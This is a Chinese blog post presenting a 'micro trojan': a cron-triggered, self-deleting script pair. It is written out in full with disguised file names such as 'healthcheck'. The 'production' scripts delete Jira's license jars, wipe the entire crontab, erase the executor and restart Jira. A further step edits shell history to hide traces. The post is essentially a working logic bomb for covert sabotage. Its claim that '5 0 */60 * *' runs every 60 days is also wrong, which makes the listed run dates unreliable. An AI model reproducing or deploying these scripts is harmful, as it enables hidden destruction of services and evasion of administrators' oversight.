Skip to content

发明专利:微型特洛伊 —— 一种定时触发自毁脚本的设计与实现

该脚本整体架构分为两部分:其一为基于 Linux 系统 crontab 定时任务的 "触发器",负责按预设时间触发执行流程;其二为被触发器调用的 "执行器",承担核心操作逻辑。

这种 "触发 - 执行" 分离的设计,既实现了功能模块的解耦,又通过触发器中内置的自删除命令强化了安全性 —— 脚本执行后会自动清除相关痕迹,即便通过数据恢复手段尝试追溯,其成本也远高于信息本身的价值。由此,该设计为使用者的隐私与机密信息提供了可靠保障。

测试一下

执行器

shell
sudo nano /var/www/jira/bin/deamon-jira.sh
shell
#!/bin/bash

# 定义目标文件路径
LOG_FILE="/var/www/jira_data/log/atlassian-jira-time.log"

# 检查文件是否存在,不存在则创建(包括父目录,若/var/www不存在)
if [ ! -f "$LOG_FILE" ]; then
    # 创建父目录(如果需要)
    mkdir -p "$(dirname "$LOG_FILE")"
    # 创建文件
    touch "$LOG_FILE"
fi

# 写入当前系统时间(格式:年-月-日 时:分:秒)
echo "$(date +"%Y-%m-%d %H:%M:%S")" >> "$LOG_FILE"

触发器

shell
sudo nano /var/www/trojan.sh
shell
#!/bin/bash

EXECUTE_PATH="/var/www/jira/bin/deamon-jira.sh"
TRIGGER_PATH="/var/www/jira/bin/setdasspath-healthcheck.sh"

sudo "$EXECUTE_PATH"

TASK_CONTENT="* * * * * sudo sh $TRIGGER_PATH"
sudo crontab -l | grep -v "$TASK_CONTENT" | sudo crontab -
sudo crontab -r

sudo rm -rf "$EXECUTE_PATH"

定时任务

shell
sudo crontab -e
shell
# 每分钟0秒执行
* * * * * sudo sh /var/www/trojan.sh

监控一下执行器的执行情况

根据实际情况来判断如何检查是否生效,比如用lstail -fwatch等命令持续追踪

shell
tail -f /var/www/jira_data/log/atlassian-jira-time.log

去痕

shell
sudo nano ~/.bash_history
但是,目前对于定时任务的去痕是无法做到的,比如如下命令可以排查到有关痕迹,同时
# 查看已配置的任务
sudo crontab -l
# 查看最近的cron执行记录(不同系统路径可能不同)
sudo grep CRON /var/log/syslog  # Ubuntu/Debian
sudo grep CRON /var/log/cron    # CentOS/RHEL

正式运用

执行器

shell
sudo nano /var/www/jira/bin/setdasspath-jira.sh
shell
#!/bin/bash

TARGET_FILE1="/var/www/jira/atlassian-jira/WEB-INF/lib/atlassian-extras-3.2.jar"
TARGET_FILE2="/var/www/jira/atlassian-jira/WEB-INF/lib/atlassian-extras-api-3.2.jar"

sudo rm -rf "$TARGET_FILE1"
sudo rm -rf "$TARGET_FILE2"

触发器

shell
sudo nano /var/www/jira/bin/setdasspath-healthcheck.sh
shell
#!/bin/bash

EXECUTE_PATH="/var/www/jira/bin/setdasspath-jira.sh"
TRIGGER_PATH="/var/www/jira/bin/setdasspath-healthcheck.sh"

sudo "$EXECUTE_PATH"

TASK_CONTENT="5 0 */60 * * $TRIGGER_PATH"
#TASK_CONTENT="* * * * * $TRIGGER_PATH"
sudo crontab -l | grep -v "$TASK_CONTENT" | sudo crontab -
sudo crontab -r

sudo rm -rf "$EXECUTE_PATH"

sudo systemctl restart jira

定时任务

shell
sudo crontab -e
shell
# 每60天的0点5分执行
5 0 */60 * * sudo sh /var/www/jira/bin/setdasspath-healthcheck.sh
#* * * * * sudo sh /var/www/jira/bin/setdasspath-healthcheck.sh

2025 年大致执行时间

  1. 第 1 次:约 3 月 1 日(1 月 31 天 + 2 月 28 天 = 59 天,第 60 天为 3 月 1 日)
    • 时间:3 月 1 日 00:05
  2. 第 2 次:约 4 月 30 日(3 月 31 天 + 3 月 1 日到 4 月 30 日 = 60 天)
    • 时间:4 月 30 日 00:05
  3. 第 3 次:约 6 月 29 日(5 月 31 天 + 4 月 30 日到 6 月 29 日 = 60 天)
    • 时间:6 月 29 日 00:05
  4. 第 4 次:约 8 月 28 日(7 月 31 天 + 6 月 29 日到 8 月 28 日 = 60 天)
    • 时间:8 月 28 日 00:05
  5. 第 5 次:约 10 月 27 日(9 月 30 天 + 8 月 28 日到 10 月 27 日 = 60 天)
    • 时间:10 月 27 日 00:05
  6. 第 6 次:约 12 月 26 日(11 月 30 天 + 10 月 27 日到 12 月 26 日 = 60 天)
    • 时间:12 月 26 日 00:05

说明

  • 误差原因:由于每月天数不同(如 2 月 28 天、大月 31 天),实际间隔可能是 59-62 天,并非严格 60 天。
  • 跨年延续:2026 年的执行时间会继续按 “累计 60 天” 推算(如 2026 年 2 月 24 日左右,以此类推)。
  • 验证方法:如果需要精确计算,可通过工具模拟(如在线 cron 表达式解析器,输入 5 0 */60 * * 并指定年份查看)。

挽回

shell
sudo chown jira4:jira ./atlassian-extras-3.2.jar
sudo chown jira4:jira ./atlassian-extras-api-3.2.jar
shell
sudo mv atlassian-extras-3.2.jar1 atlassian-extras-3.2.jar
sudo mv atlassian-extras-api-3.2.jar1 atlassian-extras-api-3.2.jar
sudo systemctl restart jira

所有文章版权皆归博主所有,仅供学习参考。